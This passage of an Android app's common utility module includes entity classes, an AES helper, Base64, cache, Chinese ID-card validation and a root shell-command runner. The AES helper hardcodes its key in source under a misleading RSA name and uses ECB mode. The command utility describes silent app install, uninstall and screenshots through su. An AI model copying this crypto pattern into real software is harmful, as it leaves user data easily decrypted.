25 | public String service_time;
26 | public String share_title;
27 | public String recharge_money;
28 | public String common_problem;
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/entity/TabEntity.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.entity;
2 |
3 |
4 | import com.flyco.tablayout.listener.CustomTabEntity;
5 |
6 | public class TabEntity implements CustomTabEntity {
7 | public String title;
8 | public int selectedIcon;
9 | public int unSelectedIcon;
10 |
11 | public TabEntity(String title, int selectedIcon, int unSelectedIcon) {
12 | this.title = title;
13 | this.selectedIcon = selectedIcon;
14 | this.unSelectedIcon = unSelectedIcon;
15 | }
16 |
17 | public String getTabTitle() {
18 | return this.title;
19 | }
20 |
21 | public int getTabSelectedIcon() {
22 | return this.selectedIcon;
23 | }
24 |
25 | public int getTabUnselectedIcon() {
26 | return this.unSelectedIcon;
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/entity/UserEntity.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.entity;
2 |
3 | public class UserEntity {
4 |
5 | public String status;
6 | public DataBean data;
7 | public String orderby;
8 | public String msg;
9 |
10 | public static class DataBean {
11 | public UsersBean users;
12 |
13 | public static class UsersBean {
14 | public String qqId;
15 | public String id ;
16 | public String birthday;
17 | public String sex;
18 | public String token ;
19 | public String state;
20 | public String userName;
21 | public String wxId;
22 | public String taobaoId;
23 | public String header;
24 | public String mobile;
25 | public int currency;
26 | public int integral;
27 | }
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/AESUtil.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import java.security.Key;
4 |
5 | import javax.crypto.Cipher;
6 | import javax.crypto.KeyGenerator;
7 | import javax.crypto.SecretKey;
8 | import javax.crypto.spec.SecretKeySpec;
9 |
10 | public class AESUtil {
11 |
12 | public static final String OUR_RSA_PUBLIC = "dVmNEbf9RN1k6M09";
13 |
14 | /**
15 | * 密钥算法
16 | */
17 | private static final String KEY_ALGORITHM = "AES";
18 | /**
19 | * 秘钥长度
20 | */
21 | private static final int KEY_SIZE = 128;
22 | /**
23 | * 秘钥
24 | */
25 | private static final String KEY_STR = AESUtil.OUR_RSA_PUBLIC;
26 |
27 | /**
28 | * 加密/解密算法/工作模式/填充方法
29 | */
30 | public static final String CIPHER_ALGORITHM = "AES/ECB/PKCS5Padding";
31 |
32 |
33 | /**
34 | * 获取密钥
35 | *
36 | * @return
37 | * @throws Exception
38 | */
39 | public static Key getKey() throws Exception {
40 | //实例化
41 | KeyGenerator kg = KeyGenerator.getInstance(KEY_ALGORITHM);
42 | //AES 要求密钥长度为128位、192位或256位
43 | kg.init(KEY_SIZE);
44 | //生成密钥
45 | SecretKey secretKey = kg.generateKey();
46 | return secretKey;
47 | }
48 |
49 | /**
50 | * 转化密钥
51 | *
52 | * @param key 密钥
53 | * @return Key 密钥
54 | * @throws Exception
55 | */
56 | public static Key codeToKey(String key) throws Exception {
57 | byte[] keyBytes = Base64Util.decode(key);
58 | SecretKey secretKey = new SecretKeySpec(keyBytes, KEY_ALGORITHM);
59 | return secretKey;
60 | }
61 |
62 | /**
63 | * 解密
64 | *
65 | * @param data 待解密数据
66 | * @param key 密钥
67 | * @return byte[] 解密数据
68 | * @throws Exception
69 | */
70 | private static String decrypt(byte[] data, byte[] key) throws Exception {
71 | //还原密钥
72 | Key k = new SecretKeySpec(key, KEY_ALGORITHM);
73 | /**
74 | * 实例化
75 | * 使用PKCS7Padding填充方式,按如下方式实现
76 | * Cipher.getInstance(CIPHER_ALGORITHM,"BC");
77 | */
78 | Cipher cipher = Cipher.getInstance(CIPHER_ALGORITHM);
79 | //初始化,设置解密模式
80 | cipher.init(Cipher.DECRYPT_MODE, k);
81 | //执行操作
82 | return new String(cipher.doFinal(data), "UTF-8");
83 | }
84 |
85 | /**
86 | * 解密
87 | *
88 | * @param data 待解密数据
89 | * @return byte[] 解密数据
90 | * @throws Exception
91 | */
92 | public static String decrypt(String data) throws Exception {
93 | return decrypt(Base64Util.decode(data), KEY_STR.getBytes("UTF-8"));
94 | }
95 |
96 | /**
97 | * 加密
98 | *
99 | * @param data 待加密数据
100 | * @return bytes[] 加密数据
101 | * @throws Exception
102 | */
103 | public static byte[] encrypt(byte[] data, byte[] key) throws Exception {
104 | //还原密钥
105 | Key k = new SecretKeySpec(key, KEY_ALGORITHM);
106 | /**
107 | * 实例化
108 | * 使用PKCS7Padding填充方式,按如下方式实现
109 | * Cipher.getInstance(CIPHER_ALGORITHM,"BC");
110 | */
111 | Cipher cipher = Cipher.getInstance(CIPHER_ALGORITHM);
112 | //初始化,设置为加密模式
113 | cipher.init(Cipher.ENCRYPT_MODE, k);
114 | //执行操作
115 | return cipher.doFinal(data);
116 | }
117 |
118 | /**
119 | * 使用公钥对明文进行加密,返回BASE64编码的字符串
120 | *
121 | * @param plainText
122 | * @return
123 | */
124 | public static String encrypt( String plainText) {
125 | try {
126 | byte[] dataBytes = plainText.getBytes("UTF-8");
127 | byte[] keyBytes = OUR_RSA_PUBLIC.getBytes("UTF-8"); //Base64.decode(publicKey.getBytes(),Base64.DEFAULT);
128 | Key k = new SecretKeySpec(keyBytes, "AES");
129 | Cipher ciper = Cipher.getInstance("AES/ECB/PKCS5Padding");
130 | ciper.init(Cipher.ENCRYPT_MODE, k);
131 | byte[] s = ciper.doFinal(dataBytes);
132 | return new String(android.util.Base64.encode(s, android.util.Base64.DEFAULT));//
133 |
134 | } catch (Exception e) {
135 | e.printStackTrace();
136 | }
137 | return null;
138 |
139 | }
140 |
141 | /**
142 | * 初始化密钥
143 | * @return
144 | * @throws Exception
145 | */
146 | // public static String getKeyStr() throws Exception{
147 | // return Base64.encodeBase64String(getKey().getEncoded());
148 | // }
149 |
150 | // public static void main(String[] args) throws Exception{
151 | // System.out.println("新的秘钥:" + getKeyStr());
152 | //
153 | // String miwen="123";
154 | // String mw = AESUtil.encrypt(miwen);
155 | // System.out.println("密文:" + mw);
156 | // String jm = AESUtil.decrypt(mw);
157 | // System.out.println("明文:" + jm);
158 | // System.out.println("明文长度:" + jm.length());
159 | // }
160 | }
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/ActivityAnimation.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import android.app.Activity;
4 |
5 | import com.jiangyu.common.R;
6 |
7 |
8 | /**
9 | * Title: Activity间跳转动画
10 | * Description:
11 | */
12 | public class ActivityAnimation {
13 |
14 | /**
15 | * 进入动画
16 | * @param activity
17 | */
18 | public static void PendingTransitionIn(Activity activity) {
19 | Activity parent = activity.getParent();
20 | if (parent == null) {
21 | parent = activity;
22 | }
23 | parent.overridePendingTransition(R.anim.push_left_in, R.anim.nothing);
24 | }
25 |
26 | /**
27 | * 退出动画
28 | * @param activity
29 | */
30 | public static void PendingTransitionOut(Activity activity) {
31 | Activity parent = activity.getParent();
32 | if (parent == null) {
33 | parent = activity;
34 | }
35 | activity.overridePendingTransition(R.anim.nothing, R.anim.push_right_out);
36 | }
37 |
38 | /**
39 | * 首页到几个特殊的activity跳转动画
40 | * @param activity
41 | */
42 | public static void HomePendingTransitionIn(Activity activity) {
43 | activity.overridePendingTransition(R.anim.bottom_push_up_in, R.anim.nothing);
44 | }
45 |
46 | /**
47 | * 首页到几个特殊的activity跳转动画
48 | * @param activity
49 | */
50 | public static void HomePendingTransitionOut(Activity activity) {
51 | activity.overridePendingTransition(R.anim.nothing, R.anim.bottom_push_up_out);
52 | }
53 | }
54 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/AlarmManagerUtil.java:
--------------------------------------------------------------------------------
1 | /**
2 | *
3 | */
4 | package com.jiangyu.common.utils;
5 |
6 | import android.app.AlarmManager;
7 | import android.app.PendingIntent;
8 | import android.content.Context;
9 | import android.content.Intent;
10 | import android.os.SystemClock;
11 |
12 | /**
13 | * Title: 闹钟定时器
14 | * Description:
15 | * 定时启动服务,并且开始获取推送信息
16 | *
17 | */
18 | public class AlarmManagerUtil {
19 | private static int DEFAULT_TIME = 1000 * 60 * 5; // 默认5分钟
20 |
21 | private static final String K_MAX_TIME = "k_max_time"; // 间隔时间key
22 |
23 | private static AlarmManager getAlarmManager(Context ctx) {
24 | return (AlarmManager) ctx.getSystemService(Context.ALARM_SERVICE);
25 | }
26 |
27 | /**
28 | * 启动定时器
29 | * @param ctx
30 | * @param recevicer 当被触发事件时,广播的接收器
31 | *
32 | */
33 | public static void startAlarmRepeat(Context ctx, Class> recevicer, Long frequency, String action) {
34 | Log.i("start alarm repeat...");
35 |
36 | if(frequency == null) {
37 | frequency = 2L;
38 | }
39 |
40 | AlarmManager alarm = getAlarmManager(ctx);
41 |
42 | Intent intent = new Intent();
43 | intent.setAction(action);
44 | intent.setClass(ctx, recevicer);
45 | PendingIntent pi = PendingIntent.getBroadcast(ctx, 0, intent, 0);
46 |
47 | // 开始时间
48 | long firstTime = SystemClock.elapsedRealtime();
49 |
50 | // 间隔时间
51 | // long frequency = getFrequency(ctx);
52 |
53 | alarm.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, firstTime, frequency, pi); // 启动定时任务
54 |
55 | Log.i("start alarm repeat successfully...");
56 | }
57 |
58 | /**
59 | * 取消定时器
60 | * @param ctx
61 | * @param recevicer 当被触发事件时,广播的接收器
62 | */
63 | public static void stopAlarmRepeat(Context ctx, Class> recevicer) {
64 | Log.e("stop alarm repeat...");
65 |
66 | AlarmManager alarm = getAlarmManager(ctx);
67 |
68 | Intent intent = new Intent();
69 | intent.setClass(ctx, recevicer);
70 | PendingIntent pi = PendingIntent.getBroadcast(ctx, 0, intent, 0);
71 |
72 | alarm.cancel(pi);
73 |
74 | Log.e("stop alarm repeat successfully...");
75 | }
76 |
77 | public static long getFrequency(Context context) {
78 | String frequency = SharedPreferencesUtil.getValue(context, K_MAX_TIME);
79 | if (StringUtil.isEmpty(frequency) || !StringUtil.isDigitsOnly(frequency)) {
80 | return DEFAULT_TIME;
81 | }
82 |
83 | return Long.parseLong(frequency);
84 | }
85 |
86 | /**
87 | * 设置定时间隔时间,需要在启动定时器之前设置
88 | * @param maxTime 间隔时间值
89 | */
90 | public static void setFrequency(Context context, Long frequency) {
91 | if(frequency == null) {
92 | SharedPreferencesUtil.setValue(context, K_MAX_TIME, String.valueOf(DEFAULT_TIME));
93 | }else {
94 | SharedPreferencesUtil.setValue(context, K_MAX_TIME, String.valueOf(frequency));
95 | }
96 | }
97 | }
98 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/Base64Util.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import android.text.TextUtils;
4 |
5 | import java.io.ByteArrayOutputStream;
6 | import java.io.UnsupportedEncodingException;
7 |
8 | /**
9 | * Title: Base64工具类
10 | * Description:
11 | * 1.将字节数组编码为字符串
12 | * 2.将base64字符串解码为字节数组
13 | * 3.解码并转为String对象
14 | * 4.使用Base64方式对数据进行编码
15 | *
16 | */
17 | public class Base64Util {
18 | private static final char[] base64EncodeChars = new char[] { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a',
19 | 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' };
20 | private static byte[] base64DecodeChars = new byte[] { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
21 | -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,
22 | 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1 };
23 |
24 | private Base64Util() {
25 | }
26 |
27 | /**
28 | * 将字节数组编码为字符串
29 | *
30 | * @param data
31 | */
32 | public static String encode(byte[] data) {
33 | StringBuffer sb = new StringBuffer();
34 | int len = data.length;
35 | int i = 0;
36 | int b1, b2, b3;
37 | while (i < len) {
38 | b1 = data[i++] & 0xff;
39 | if (i == len) {
40 | sb.append(base64EncodeChars[b1 >>> 2]);
41 | sb.append(base64EncodeChars[(b1 & 0x3) << 4]);
42 | sb.append("==");
43 | break;
44 | }
45 | b2 = data[i++] & 0xff;
46 | if (i == len) {
47 | sb.append(base64EncodeChars[b1 >>> 2]);
48 | sb.append(base64EncodeChars[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]);
49 | sb.append(base64EncodeChars[(b2 & 0x0f) << 2]);
50 | sb.append("=");
51 | break;
52 | }
53 | b3 = data[i++] & 0xff;
54 | sb.append(base64EncodeChars[b1 >>> 2]);
55 | sb.append(base64EncodeChars[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]);
56 | sb.append(base64EncodeChars[((b2 & 0x0f) << 2) | ((b3 & 0xc0) >>> 6)]);
57 | sb.append(base64EncodeChars[b3 & 0x3f]);
58 | }
59 | return sb.toString();
60 | }
61 |
62 | /**
63 | * 将base64字符串解码为字节数组
64 | *
65 | * @param str
66 | */
67 | public static byte[] decode(String str) {
68 | byte[] data = str.getBytes();
69 | int len = data.length;
70 | ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
71 | int i = 0;
72 | int b1, b2, b3, b4;
73 | while (i < len) { /* b1 */
74 | do {
75 | b1 = base64DecodeChars[data[i++]];
76 | } while (i < len && b1 == -1);
77 | if (b1 == -1) {
78 | break;
79 | } /* b2 */
80 | do {
81 | b2 = base64DecodeChars[data[i++]];
82 | } while (i < len && b2 == -1);
83 | if (b2 == -1) {
84 | break;
85 | }
86 | buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4))); /* b3 */
87 | do {
88 | b3 = data[i++];
89 | if (b3 == 61) {
90 | return buf.toByteArray();
91 | }
92 | b3 = base64DecodeChars[b3];
93 | } while (i < len && b3 == -1);
94 | if (b3 == -1) {
95 | break;
96 | }
97 | buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2))); /* b4 */
98 | do {
99 | b4 = data[i++];
100 | if (b4 == 61) {
101 | return buf.toByteArray();
102 | }
103 | b4 = base64DecodeChars[b4];
104 | } while (i < len && b4 == -1);
105 | if (b4 == -1) {
106 | break;
107 | }
108 | buf.write((int) (((b3 & 0x03) << 6) | b4));
109 | }
110 | return buf.toByteArray();
111 | }
112 |
113 | /**
114 | * 解码并转为String对象
115 | *
116 | * @param str
117 | * @return
118 | */
119 | public static String decode2String(String str) {
120 | if (StringUtil.isEmpty(str)) {
121 | return "";
122 | }
123 | byte[] encodeChars = Base64.decode(str, Base64.DEFAULT);
124 | try {
125 | return new String(encodeChars, "UTF-8");
126 | } catch (UnsupportedEncodingException e) {
127 | Log.e("Base 64 转换异常:" + e);
128 | }
129 | return "";
130 | }
131 |
132 | /**
133 | * 使用Base64方式对数据进行编码
134 | *
135 | * @param str
136 | * @return
137 | */
138 | public static String encodeByBase64(String str) {
139 | if (!TextUtils.isEmpty(str)) {
140 | return encodeByBase64(str.getBytes());
141 | }
142 | return str;
143 | }
144 |
145 | /**
146 | * 使用Base64方式对数据进行编码
147 | *
148 | * @param data
149 | * @return
150 | */
151 | public static String encodeByBase64(byte[] data) {
152 | return encode(data);
153 | }
154 |
155 | /**
156 | * 使用Base64方式对字符串进行解码
157 | *
158 | * @param str
159 | * @return
160 | */
161 | public static byte[] decodeByBase64(String str) {
162 | return decode(str);
163 | }
164 |
165 | /**
166 | * 使用Base64方式对字符串进行解码
167 | *
168 | * @param str
169 | * @return
170 | */
171 | public static String decodeToStringByBase64(String str) {
172 | return new String(decode(str));
173 | }
174 | }
175 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/CacheUtil.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 |
4 | import android.content.Context;
5 | import android.os.Environment;
6 | import android.text.TextUtils;
7 |
8 | import java.io.File;
9 | import java.math.BigDecimal;
10 |
11 | public class CacheUtil {
12 | public static String getTotalCacheSize(Context context) throws Exception {
13 |
14 | long cacheSize = getFolderSize(context.getCacheDir());
15 |
16 | if (Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
17 |
18 | cacheSize += getFolderSize(context.getExternalCacheDir());
19 |
20 | }
21 |
22 | return getFormatSize(cacheSize);
23 |
24 | }
25 |
26 | public static void clearAllCache(Context context) {
27 |
28 | deleteDir(context.getCacheDir());
29 |
30 | if (Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
31 |
32 | deleteDir(context.getExternalCacheDir());
33 |
34 | }
35 |
36 | }
37 |
38 | private static boolean deleteDir(File dir) {
39 |
40 | if (dir != null && dir.isDirectory()) {
41 |
42 | String[] children = dir.list();
43 |
44 | for (int i = 0; i < children.length; i++) {
45 |
46 | boolean success = deleteDir(new File(dir, children[i]));
47 |
48 | if (!success) {
49 |
50 | return false;
51 |
52 | }
53 |
54 | }
55 |
56 | }
57 |
58 | return dir.delete();
59 |
60 | }
61 |
62 | // 获取文件
63 |
64 | // Context.getExternalFilesDir() --> SDCard/Android/data/你的应用的包名/files/
65 |
66 | // 目录,一般放一些长时间保存的数据
67 |
68 | // Context.getExternalCacheDir() -->
69 |
70 | // SDCard/Android/data/你的应用包名/cache/目录,一般存放临时缓存数据
71 |
72 | public static long getFolderSize(File file) throws Exception {
73 |
74 | long size = 0;
75 |
76 | try {
77 |
78 | File[] fileList = file.listFiles();
79 |
80 | for (int i = 0; i < fileList.length; i++) {
81 |
82 | // 如果下面还有文件
83 |
84 | if (fileList[i].isDirectory()) {
85 |
86 | size = size + getFolderSize(fileList[i]);
87 |
88 | } else {
89 |
90 | size = size + fileList[i].length();
91 |
92 | }
93 |
94 | }
95 |
96 | } catch (Exception e) {
97 |
98 | e.printStackTrace();
99 |
100 | }
101 |
102 | return size;
103 |
104 | }
105 |
106 | /**
107 | * 格式化单位
108 | *
109 | * @param size
110 | */
111 |
112 | public static String getFormatSize(double size) {
113 |
114 | double kiloByte = size / 1024;
115 |
116 | if (kiloByte < 1) {
117 |
118 | return size + "Byte";
119 |
120 | }
121 |
122 | double megaByte = kiloByte / 1024;
123 |
124 | if (megaByte < 1) {
125 |
126 | BigDecimal result1 = new BigDecimal(Double.toString(kiloByte));
127 |
128 | return result1.setScale(2, BigDecimal.ROUND_HALF_UP).toPlainString() + "KB";
129 |
130 | }
131 |
132 | double gigaByte = megaByte / 1024;
133 |
134 | if (gigaByte < 1) {
135 |
136 | BigDecimal result2 = new BigDecimal(Double.toString(megaByte));
137 |
138 | return result2.setScale(2, BigDecimal.ROUND_HALF_UP).toPlainString() + "MB";
139 |
140 | }
141 |
142 | double teraBytes = gigaByte / 1024;
143 |
144 | if (teraBytes < 1) {
145 |
146 | BigDecimal result3 = new BigDecimal(Double.toString(gigaByte));
147 |
148 | return result3.setScale(2, BigDecimal.ROUND_HALF_UP).toPlainString() + "GB";
149 |
150 | }
151 |
152 | BigDecimal result4 = new BigDecimal(teraBytes);
153 |
154 | return result4.setScale(2, BigDecimal.ROUND_HALF_UP).toPlainString() + "TB";
155 |
156 | }
157 |
158 | }
159 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/CheckIdCard.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 |
4 | import java.text.SimpleDateFormat;
5 | import java.util.Date;
6 |
7 | /**
8 | * 验证身份证号码 身份证号码, 可以解析身份证号码的各个字段,以及验证身份证号码是否有效;
9 | * 身份证号码构成:6位地址编码+8位生日+3位顺序码+1位校验码
10 | *
11 | * @ClassName: CheckIdCard
12 | * @author
13 | * @date
14 | *
15 | */
16 | public class CheckIdCard {
17 | private String cardNumber; // 完整的身份证号码
18 | private Boolean cacheValidateResult = null; // 缓存身份证是否有效,因为验证有效性使用频繁且计算复杂
19 | private Date cacheBirthDate = null; // 缓存出生日期,因为出生日期使用频繁且计算复杂
20 | private final static String BIRTH_DATE_FORMAT = "yyyyMMdd"; // 身份证号码中的出生日期的格式
21 | private final static Date MINIMAL_BIRTH_DATE = new Date(-2209017600000L); // 身份证的最小出生日期,1900年1月1日
22 | private final static int NEW_CARD_NUMBER_LENGTH = 18;
23 | private final static int OLD_CARD_NUMBER_LENGTH = 15;
24 | private final static char[] VERIFY_CODE = { '1', '0', 'X', '9', '8', '7', '6', '5', '4', '3',
25 | '2' }; // 18位身份证中最后一位校验码
26 | private final static int[] VERIFY_CODE_WEIGHT = { 7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5,
27 | 8, 4, 2 };// 18位身份证中,各个数字的生成校验码时的权值
28 |
29 | public boolean validate() {
30 | if (null == cacheValidateResult) {
31 | boolean result = true;
32 | result = result && (null != cardNumber); // 身份证号不能为空
33 | result = result && NEW_CARD_NUMBER_LENGTH == cardNumber.length(); // 身份证号长度是18(新证)
34 | // 身份证号的前17位必须是阿拉伯数字
35 | for (int i = 0; result && i < NEW_CARD_NUMBER_LENGTH - 1; i++) {
36 | char ch = cardNumber.charAt(i);
37 | result = result && ch >= '0' && ch <= '9';
38 | }
39 | // 身份证号的第18位校验正确
40 | result = result
41 | && (calculateVerifyCode(cardNumber) == cardNumber
42 | .charAt(NEW_CARD_NUMBER_LENGTH - 1));
43 | // 出生日期不能晚于当前时间,并且不能早于1900年
44 | try {
45 | Date birthDate = this.getBirthDate();
46 | result = result && null != birthDate;
47 | result = result && birthDate.before(new Date());
48 | result = result && birthDate.after(MINIMAL_BIRTH_DATE);
49 | /**
50 | * 出生日期中的年、月、日必须正确,比如月份范围是[1,12],日期范围是[1,31],还需要校验闰年、大月、小月的情况时,
51 | * 月份和日期相符合
52 | */
53 | String birthdayPart = this.getBirthDayPart();
54 | String realBirthdayPart = this.createBirthDateParser().format(birthDate);
55 | result = result && (birthdayPart.equals(realBirthdayPart));
56 | } catch (Exception e) {
57 | result = false;
58 | }
59 | cacheValidateResult = Boolean.valueOf(result);
60 | // 完整身份证号码的省市县区检验规则
61 | }
62 | return cacheValidateResult;
63 | }
64 |
65 | /**
66 | * 如果是15位身份证号码,则自动转换为18位
67 | *
68 | * @param cardNumber
69 | * @return
70 | */
71 | public CheckIdCard(String cardNumber) {
72 | if (null != cardNumber) {
73 | cardNumber = cardNumber.trim();
74 | if (OLD_CARD_NUMBER_LENGTH == cardNumber.length()) {
75 | cardNumber = contertToNewCardNumber(cardNumber);
76 | }
77 | }
78 | this.cardNumber = cardNumber;
79 | }
80 |
81 | public String getCardNumber() {
82 | return cardNumber;
83 | }
84 |
85 | public String getAddressCode() {
86 | this.checkIfValid();
87 | return this.cardNumber.substring(0, 6);
88 | }
89 |
90 | public Date getBirthDate() {
91 | if (null == this.cacheBirthDate) {
92 | try {
93 | this.cacheBirthDate = this.createBirthDateParser().parse(this.getBirthDayPart());
94 | } catch (Exception e) {
95 | throw new RuntimeException("身份证的出生日期无效");
96 | }
97 | }
98 | return new Date(this.cacheBirthDate.getTime());
99 | }
100 |
101 | public boolean isMale() {
102 | return 1 == this.getGenderCode();
103 | }
104 |
105 | public boolean isFemal() {
106 | return false == this.isMale();
107 | }
108 |
109 | /**
110 | * 获取身份证的第17位,奇数为男性,偶数为女性
111 | *
112 | * @return
113 | */
114 | private int getGenderCode() {
115 | this.checkIfValid();
116 | char genderCode = this.cardNumber.charAt(NEW_CARD_NUMBER_LENGTH - 2);
117 | return (((int) (genderCode - '0')) & 0x1);
118 | }
119 |
120 | private String getBirthDayPart() {
121 | return this.cardNumber.substring(6, 14);
122 | }
123 |
124 | private SimpleDateFormat createBirthDateParser() {
125 | return new SimpleDateFormat(BIRTH_DATE_FORMAT);
126 | }
127 |
128 | private void checkIfValid() {
129 | if (false == this.validate()) {
130 | throw new RuntimeException("身份证号码不正确!");
131 | }
132 | }
133 |
134 | /**
135 | * 校验码(第十八位数):
136 | *
137 | * 十七位数字本体码加权求和公式 S = Sum(Ai * Wi), i = 0...16 ,先对前17位数字的权求和;
138 | * Ai:表示第i位置上的身份证号码数字值 Wi:表示第i位置上的加权因子 Wi: 7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4
139 | * 2; 计算模 Y = mod(S, 11)< 通过模得到对应的校验码 Y: 0 1 2 3 4 5 6 7 8 9 10 校验码: 1 0 X 9
140 | * 8 7 6 5 4 3 2
141 | *
142 | * @param cardNumber
143 | * @return
144 | */
145 | private static char calculateVerifyCode(CharSequence cardNumber) {
146 | int sum = 0;
147 | for (int i = 0; i < NEW_CARD_NUMBER_LENGTH - 1; i++) {
148 | char ch = cardNumber.charAt(i);
149 | sum += ((int) (ch - '0')) * VERIFY_CODE_WEIGHT[i];
150 | }
151 | return VERIFY_CODE[sum % 11];
152 | }
153 |
154 | /**
155 | * 把15位身份证号码转换到18位身份证号码
156 | * 15位身份证号码与18位身份证号码的区别为:
157 | * 1、15位身份证号码中,"出生年份"字段是2位,转换时需要补入"19",表示20世纪
158 | * 2、15位身份证无最后一位校验码。18位身份证中,校验码根据根据前17位生成
159 | *
160 | * @param cardNumber
161 | * @return
162 | */
163 | private static String contertToNewCardNumber(String oldCardNumber) {
164 | StringBuilder buf = new StringBuilder(NEW_CARD_NUMBER_LENGTH);
165 | buf.append(oldCardNumber.substring(0, 6));
166 | buf.append("19");
167 | buf.append(oldCardNumber.substring(6));
168 | buf.append(CheckIdCard.calculateVerifyCode(buf));
169 | return buf.toString();
170 | }
171 | }
172 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/ClickSpanUtils.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import android.text.Selection;
4 | import android.text.SpannableString;
5 | import android.text.Spanned;
6 | import android.text.TextPaint;
7 | import android.text.TextUtils;
8 | import android.text.method.LinkMovementMethod;
9 | import android.text.style.ClickableSpan;
10 | import android.view.View;
11 | import android.widget.TextView;
12 |
13 | public class ClickSpanUtils {
14 |
15 | public static void setSpan (TextView widget , SpannableString sps , String keyStr , MClickSpan mClickSpan)
16 | {
17 | if(TextUtils.isEmpty(keyStr) || TextUtils.isEmpty(sps))
18 | {
19 | return;
20 | }
21 | String text = sps.toString();
22 | if(!text.contains(keyStr))
23 | {
24 | return;
25 | }
26 | int start = text.indexOf(keyStr);
27 | int end = start + keyStr.length();
28 |
29 | sps.setSpan(mClickSpan, start, end, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
30 | widget.setText(sps);
31 | widget.setMovementMethod(LinkMovementMethod.getInstance());
32 | }
33 |
34 |
35 | public static class MClickSpan extends ClickableSpan{
36 |
37 | private OnTextViewClickListener onClick;
38 |
39 | public MClickSpan(OnTextViewClickListener onClick) {
40 | super();
41 | this.onClick = onClick;
42 | }
43 |
44 | @Override
45 | public void onClick(View widget) {
46 | SpannableString sps = (SpannableString) ((TextView)widget).getText();
47 | if(sps == null)
48 | {
49 | return;
50 | }
51 | Selection.removeSelection(sps);
52 | if(onClick != null)
53 | {
54 | onClick.clickTextView(widget);
55 | }
56 | }
57 |
58 | @Override
59 | public void updateDrawState(TextPaint ds) {
60 | if(onClick != null)
61 | {
62 | onClick.setStyle(ds);
63 | }
64 | }
65 | }
66 |
67 | public static interface OnTextViewClickListener
68 | {
69 | public void clickTextView(View view);
70 | public void setStyle(TextPaint tp);
71 | }
72 |
73 | }
74 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/CommandResult.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | /**
4 | * Title: 调用系统命令回调实体
5 | * Description:
6 | */
7 | public class CommandResult {
8 |
9 | public int resultCode;
10 |
11 | public String successMsg;
12 |
13 | public String errorMsg;
14 |
15 | CommandResult(int resultCode, String successMsg, String errorMsg) {
16 | this.resultCode = resultCode;
17 | this.successMsg = successMsg;
18 | this.errorMsg = errorMsg;
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/CommandUtils.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | import java.io.BufferedReader;
4 | import java.io.DataOutputStream;
5 | import java.io.IOException;
6 | import java.io.InputStreamReader;
7 |
8 | /**
9 | * Title: root权限执行shell命令工具
10 | * Description:
11 | * 1、传入pm install -r 包路径,即可静默安装
12 | * 2、传入pm uninstall 应用包名,即可静默卸载
13 | * 3、传入screenshot -i 保存文件绝对路径,即可截屏
14 | */
15 | public class CommandUtils {
16 | public static final String COMMAND_SU = "su";
17 | public static final String COMMAND_SH = "sh";
18 | public static final String COMMAND_EXIT = "exit\n";
19 | public static final String COMMAND_LINE_END = "\n";
20 |
21 | public static CommandResult execCommand(String[] commands, boolean isNeedResultMsg) {
22 | return execCommand(commands, true, isNeedResultMsg);
23 | }
24 |
25 | public static CommandResult execCommand(String[] commands, boolean isRoot,
26 | boolean isNeedResultMsg) {
27 | int result = -1;
28 | if (commands == null || commands.length == 0) {
